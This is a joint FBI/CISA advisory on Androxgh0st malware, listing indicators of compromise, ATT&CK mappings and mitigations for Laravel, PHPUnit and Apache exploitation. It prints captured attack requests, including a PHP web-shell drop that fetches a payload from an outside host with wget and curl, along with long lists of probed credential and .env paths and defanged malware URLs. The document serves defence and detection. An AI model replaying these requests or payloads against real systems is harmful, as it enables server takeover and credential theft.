JOINT
CYBERSECURITY
ADVISORY

Co-Authored by:

TLP:CLEAR

Product ID: AA24-016A
January 16, 2024

Known Indicators of Compromise Associated with Androxgh0st Malware

SUMMARY

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) to disseminate known indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) associated with threat actors deploying Androxgh0st malware. Multiple, ongoing investigations and trusted third party reporting yielded the IOCs and TTPs, and provided information on Androxgh0st malware's ability to establish a botnet that can further identify and compromise vulnerable networks.

Actions to take today to mitigate malicious cyber activity:

- Prioritize patching known exploited vulnerabilities in internet-facing systems.
- Review and ensure only necessary servers and services are exposed to the internet.
- Review platforms or services that have credentials listed in `.env` files for unauthorized access or use.

The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of cybersecurity incidents caused by Androxgh0st infections.

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors' activity mapped to MITRE ATT&CK tactics and techniques with corresponding mitigation and/or detection recommendations. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK's Best Practices for MITRE ATT&CK Mapping and CISA's Decider Tool.

Overview

Androxgh0st malware has been observed establishing a botnet [T1583.005] for victim identification

To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at fbi.gov/contact-us/field-offices. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.dhs.gov.

and exploitation in target networks. According to open source reporting[1], Androxgh0st is a Python-scripted malware [T1059.006] primarily used to target `.env` files that contain confidential information, such as credentials [T1552.001] for various high profile applications (i.e., Amazon Web Services [AWS], Microsoft Office 365, SendGrid, and Twilio from the Laravel web application framework). Androxgh0st malware also supports numerous functions capable of abusing the Simple Mail Transfer Protocol (SMTP), such as scanning [T1046] and exploiting exposed credentials [T1078] and application programming interfaces (APIs) [T1114], and web shell deployment [T1505.003].

Targeting the PHPUnit

Androxgh0st malware TTPs commonly involves the use of scripts, conducting scanning [T1595] and searching for websites with specific vulnerabilities. In particular, threat actors deploying Androxgh0st have been observed exploiting CVE-2017-9841 to remotely run hypertext preprocessor (PHP) code on fallible websites via PHPUnit [T1190]. Websites using the PHPUnit module that have internet-accessible (exposed) `/vendor` folders are subject to malicious `HTTP POST` requests to the `/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php` uniform resource identifier (URI). This PHP page runs PHP code submitted through a POST request, which allows the threat actors to remotely execute code.

Malicious actors likely use Androxgh0st to download malicious files [T1105] to the system hosting the website. Threat actors are further able to set up a fake (illegitimate) page accessible via the URI to provide backdoor access to the website. This allows threat actors to download additional malicious files for their operations and access databases.

Laravel Framework Targeting

Androxgh0st malware establishes a botnet to scan for websites using the Laravel web application framework. After identifying websites using the Laravel web application, threat actors attempt to determine if the domain's root-level `.env` file is exposed and contains credentials for accessing additional services. **Note:** `.env` files commonly store credentials and tokens. Threat actors often target `.env` files to steal these credentials within the environment variables.

If the `.env` file is exposed, threat actors will issue a GET request to the `/.env` URI to attempt to access the data on the page. Alternatively, Androxgh0st may issue a POST request to the same URI with a POST variable named `0x[]` containing certain data sent to the web server. This data is frequently used as an identifier for the threat actor. This method appears to be used for websites in debug mode (i.e., when non-production websites are exposed to the internet). A successful response from either of these methods allows the threat actors to look for usernames, passwords, and/or other credentials pertaining to services such as email (via SMTP) and AWS accounts.

Androxgh0st malware can also access the application key [TA0006] for the Laravel application on the website. If the threat actors successfully identify the Laravel application key, they will attempt exploitation by using the key to encrypt PHP code [T1027.010]. The encrypted code is then passed to the website as a value in the cross-site forgery request (XSRF) token cookie, `XSRF-TOKEN`, and included in a future GET request to the website. The vulnerability defined in CVE-2018-15133 indicates that on Laravel applications, XSRF token values are subject to an un-serialized call, which

can allow for remote code execution. In doing so, the threat actors can upload files to the website via remote access.

Apache Web Server Targeting

In correlation with CVE-2021-41773, Androxgh0st actors have been observed scanning vulnerable web servers [T1595.002] running Apache HTTP Server versions 2.4.49 or 2.4.50. Threat actors can identify uniform resource locators (URLs) for files outside root directory through a path traversal attack [T1083]. If these files are not protected by the "request all denied" configuration and Common Gateway Interface (CGI) scripts are enabled, this may allow for remote code execution.

If threat actors obtain credentials for any services using the above methods, they may use these credentials to access sensitive data or use these services to conduct additional malicious operations. For example, when threat actors successfully identify and compromise AWS credentials from a vulnerable website, they have been observed attempting to create new users and user policies [T1136]. Additionally, Andoxgh0st actors have been observed creating new AWS instances to use for conducting additional scanning activity [T1583.006].

INDICATORS OF COMPROMISE (IOCs)

Based on investigations and analysis, the following requests are associated with Androxgh0st activity:

- Incoming GET and POST requests to the following URIs:
  - `/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`
  - `/.env`
- Incoming POST requests with the following strings:
  - `[0x%5B%5D=androxgh0st]`
  - `ImmutableMultiDict([('0x[]', 'androxgh0st')])`

In both previously listed POST request strings, the name `androxgh0st` has been observed to be replaced with other monikers.

Additional URIs observed by the FBI and a trusted third party used by these threat actors for credential exfiltration include:

- `/info`
- `/phpinfo`
- `/phpinfo.php`
- `/?phpinfo=1`
- `/frontend_dev.php/$`
- `/_profiler/phpinfo`
- `/debug/default/view?panel=config`
- `/config.json`
- `/.json`
- `/.git/config`
- `/live_env`

- `/.env.dist`
- `/.env.save`
- `/environments/.env.production`
- `/.env.production.local`
- `/.env.project`
- `/.env.development`
- `/.env.production`
- `/.env.prod`
- `/.env.development.local`
- `/.env.old`
- `/<insert-directory>/.env`
  - **Note:** the actor may attempt multiple different potential URI endpoints scanning for the `.env` file, for example `/docker/.env or /local/.env`.
- `/.aws/credentials`
- `/aws/credentials`
- `/.aws/config`
- `/.git`
- `/.test`
- `/admin`
- `/backend`
- `/app`
- `/current`
- `/demo`
- `/api`
- `/backup`
- `/beta`
- `/cron`
- `/develop`
- `/Laravel`
- `/laravel/core`
- `/gists/cache`
- `/test.php`
- `/info.php`
- `//.env`
- `/admin-app/.env%20`
- `/laravel/.env%20`
- `/shared/.env%20`
- `/.env.project%20`
- `/apps/.env%20`
- `/development/.env%20`

- /live_env%20
- /.env.development%20

Targeted URIs for web-shell drop:

- /.env/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //lib/phpunit/phpunit/Util/PHP/eval-stdin.php
- //lib/phpunit/src/Util/PHP/eval-stdin.php
- //lib/phpunit/Util/PHP/eval-stdin.php
- //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //phpunit/phpunit/Util/PHP/eval-stdin.php
- //phpunit/src/Util/PHP/eval-stdin.php
- //phpunit/Util/PHP/eval-stdin.php
- //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/evalstdin.php
- //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
- //vendor/phpunit/src/Util/PHP/eval-stdin.php
- //vendor/phpunit/Util/PHP/eval-stdin.php
- //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

- /admin/ckeditor/plugins/ajaxplorer/phpunit/src/Util/PHP/eval-stdin.php
- /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /api/vendor/phpunit/phpunit/src/Util/PHP/Template/eval-stdin.php
- /lab/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /laravel_web/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /laravelao/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /lib/phpunit/phpunit/Util/PHP/eval-stdin.php
- /lib/phpunit/phpunit/Util/PHP/eval
- stdin.php%20/lib/phpunit/src/Util/PHP/eval-stdin.php
- /lib/phpunit/src/Util/PHP/eval-stdin.php
- /lib/phpunit/Util/PHP/eval-stdin.php
- /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /libraries/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /phpunit/phpunit/Util/PHP/eval-stdin.php
- /phpunit/phpunit/Util/PHP/eval-stdin.php%20/phpunit/src/Util/PHP/evalstdin.php
- /phpunit/src/Util/PHP/eval-stdin.php
- ./phpunit/Util/PHP/eval-stdin.php
- /phpunit/Util/PHP/eval-stdin.php%20/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php.dev
- /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
- /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php%20/vendor/phpunit/src/Util/PHP/eval-stdin.php
- /vendor/phpunit/src/Util/PHP/eval-stdin.php
- /vendor/phpunit/Util/PHP/eval-stdin.php
- /vendor/phpunit/Util/PHP/eval-stdin.php%20
- /phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

An example of attempted credential exfiltration through (honeypot) open proxies:

```
POST /.aws/credentials HTTP/1.1
host: www.example.com
```

```
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/81.0.4044.129 Safari/537.36
accept-encoding: gzip, deflate
accept: */*
connection: keep-alive
content-length: 20
content-type: application/x-www-form-urlencoded

0x%5B%5D=androxgh0st
```

An example of attempted web-shell drop through (honeypot) open proxies:

```
GET http://www.example.com/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
HTTP/1.1
host: www.example.com
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.76
accept-encoding: gzip, deflate
accept: */*
connection: keep-alive
x-forwarded-for: 200.172.238.135
content-length: 279

<?php
file_put_contents('evil.php',file_get_contents('hxxps://mc.rockylinux[.]si/seofor
ce/triggers/files/evil.txt')); system('wget
hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt -O evil.php;curl
hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt -O evil.php'); ?>
```

Monikers used instead of Androxgh0st (0x%5B%5D=???):

- Ridho
- Aws
- 0x_0x
- x_X
- nopebee7
- SMTPEX
- evileyes0
- privangga
- drcrypter
- errorcool
- drosteam
- androxmen
- crack3rz

- b4bbyghost
- 0x0day
- janc0xsec
- blackb0x
- 0x1331day
- Graber

Example malware drops through eval-stdin.php:

```
hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt
59e90be75e51c86b4b9b69dcede2cf815da5a79f7e05cac27c95ec35294151f4

hxxps://chainventures.co[.]uk/.well-known/aas
dcf8f640dd7cc27d2399cce96b1cf4b75e3b9f2dfdf19cee0a170e5a6d2ce6b6

hxxp://download.asyncfox[.]xyz/download/xmrig.x86_64
23fc51fde90d98daee27499a7ff94065f7ed4ac09c22867ebd9199e025dee066

hxxps://pastebin[.]com/raw/zw0gAmpC
ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72

hxxp://raw.githubusercontent[.]com/0x5a455553/MARIJUANA/master/MARIJUANA.php
0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef

hxxp://45.95.147[.]236/tmp.x86_64
6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc

hxxp://main.dsn[.]ovh/dns/pwer
bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7

hxxp://tangible-drink.surge[.]sh/configx.txt
de1114a09cbab5ae9c1011ddd11719f15087cc29c8303da2e71d861b0594a1ba
```

Generic file managers dropped through eval-stdin.php

```
hxxps://github[.]com/alexantr/filemanager
hxxps://github[.]com/prasathmani/tinyfilemanager
```

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 1-10 for all referenced threat actor tactics and techniques in this advisory.

Table 1: Reconnaissance

Technique Title	ID	Use
Active Scanning: Vulnerability Scanning	T1595.002	The threat actor scans websites for specific vulnerabilities to exploit.

Table 2: Resource Development

Technique Title	ID	Use
Acquire Infrastructure: Botnet	T1583.005	The threat actor establishes a botnet to identify and exploit victims.
Acquire Infrastructure: Web Services	T1583.006	The threat actor creates new AWS instances to use for scanning.

Table 3: Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	The threat actor exploits CVE-2017-9841 to remotely run hypertext preprocessor (PHP) code on websites via PHPUnit.

Table 4: Execution

Technique Title	ID	Use
Command and Scripting Interpreter: Python	T1059.006	The threat actor uses Androxgh0st, a Python-scripted malware, to target victim files.

Table 5: Persistence

Technique Title	ID	Use
Valid Accounts	T1078	The threat actor abuses the simple mail transfer protocol (SMTP) by exploiting exposed credentials.
Server Software Component: Web Shell	T1505.003	The threat actor deploys web shells to maintain persistent access to systems.
Create Account	T1136	The threat actor attempts to create new users and user policies with compromised AWS credentials from a vulnerable website.

Table 6: Defense Evasion

Technique Title	ID	Use
Obfuscated Files or Information: Command Obfuscation	T1027.010	The threat actor can exploit a successfully identified Laravel application key to encrypt PHP code, which is then passed to the site as a value in the XSRF-TOKEN cookie.

Table 7: Credential Access

Technique Title	ID	Use
Credential Access	TA0006	The threat actor can access the application key of the Laravel application on the site.
Unsecured Credentials: Credentials in Files	T1552.001	The threat actor targets `.env` files that contain confidential credential information.

Table 8: Discovery

Technique Title	ID	Use
File and Directory Discovery	T1083	The threat actor can identify URLs for files outside root directory through a path traversal attack.

Technique Title	ID	Use
Network Service Discovery	T1046	The threat actor uses Androxgh0st to abuse simple mail transfer protocol (SMTP) via scanning.

Table 9: Collection

Technique Title	ID	Use
Email Collection	T1114	The threat actor interacts with application programming interfaces (APIs) to gather information.

Table 10: Command and Control

Technique Title	ID	Use
Ingress Tool Transfer	T1105	The threat actor runs PHP code through a POST request to download malicious files to the system hosting the website.

MITIGATIONS

The FBI and CISA recommend implementing the mitigations below to improve your organization's cybersecurity posture based on Androxgh0st threat actor activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA's Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

These mitigations apply to all critical infrastructure organizations and network defenders. FBI and CISA recommend that software manufacturers incorporate secure by design principles and tactics into their software development practices, limiting the impact of actor techniques and strengthening their customers' security posture. For more information on secure by design, see CISA's Secure by Design webpage.

The FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by actors using Androxgh0st malware.

- **Keep all operating systems, software, and firmware up to date. Specifically, ensure that Apache servers are not running versions 2.4.49 or 2.4.50.** Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to

cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems.

- **Verify that the default configuration for all URIs is to deny all requests** unless there is a specific need for it to be accessible.
- **Ensure that any live Laravel applications are not in "debug" or testing mode. Remove all cloud credentials from `.env` files and revoke them. All cloud providers have safer ways to provide temporary, frequently rotated credentials to code running inside a web server without storing them in any file.**
- **On a one-time basis for previously stored cloud credentials, and on an on-going basis for other types of credentials that cannot be removed, review any platforms or services that have credentials listed in the `.env` file for unauthorized access or use.**
- **Scan the server's file system for unrecognized PHP files**, particularly in the root directory or `/vendor/phpunit/phpunit/src/Util/PHP` folder.
- **Review outgoing GET requests (via cURL command) to file hosting sites** such as GitHub, pastebin, etc., particularly when the request accesses a `.php` file.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, FBI and CISA recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Tables 1-10).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies' performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

FBI and CISA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

REPORTING

The FBI encourages organizations to report information concerning suspicious or criminal activity to their local FBI field office. With regards to specific information that appears in this CSA, indicators should always be evaluated in light of an organization's complete security situation.

When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI Internet Crime Complaint Center (IC3), a local FBI Field Office, or to CISA via its Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or (888) 282-0870.

RESOURCES

- CISA: Known Exploited Vulnerabilities Catalog
- CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
- CISA: Decider Tool
- NIST: CVE-2017-9841
- NIST: CVE-2018-15133
- NIST: CVE-2021-41773
- CISA: Cross-Sector Cybersecurity Performance Goals
- CISA: Secure by Design

REFERENCES

[1] Fortinet - FortiGuard Labs: Threat Signal Report: AndroxGh0st Malware Actively Used in the Wild

ACKNOWLEDGEMENTS

Amazon contributed to this CSA.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. FBI and CISA do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and CISA.

VERSION HISTORY

January 16, 2024: Initial version.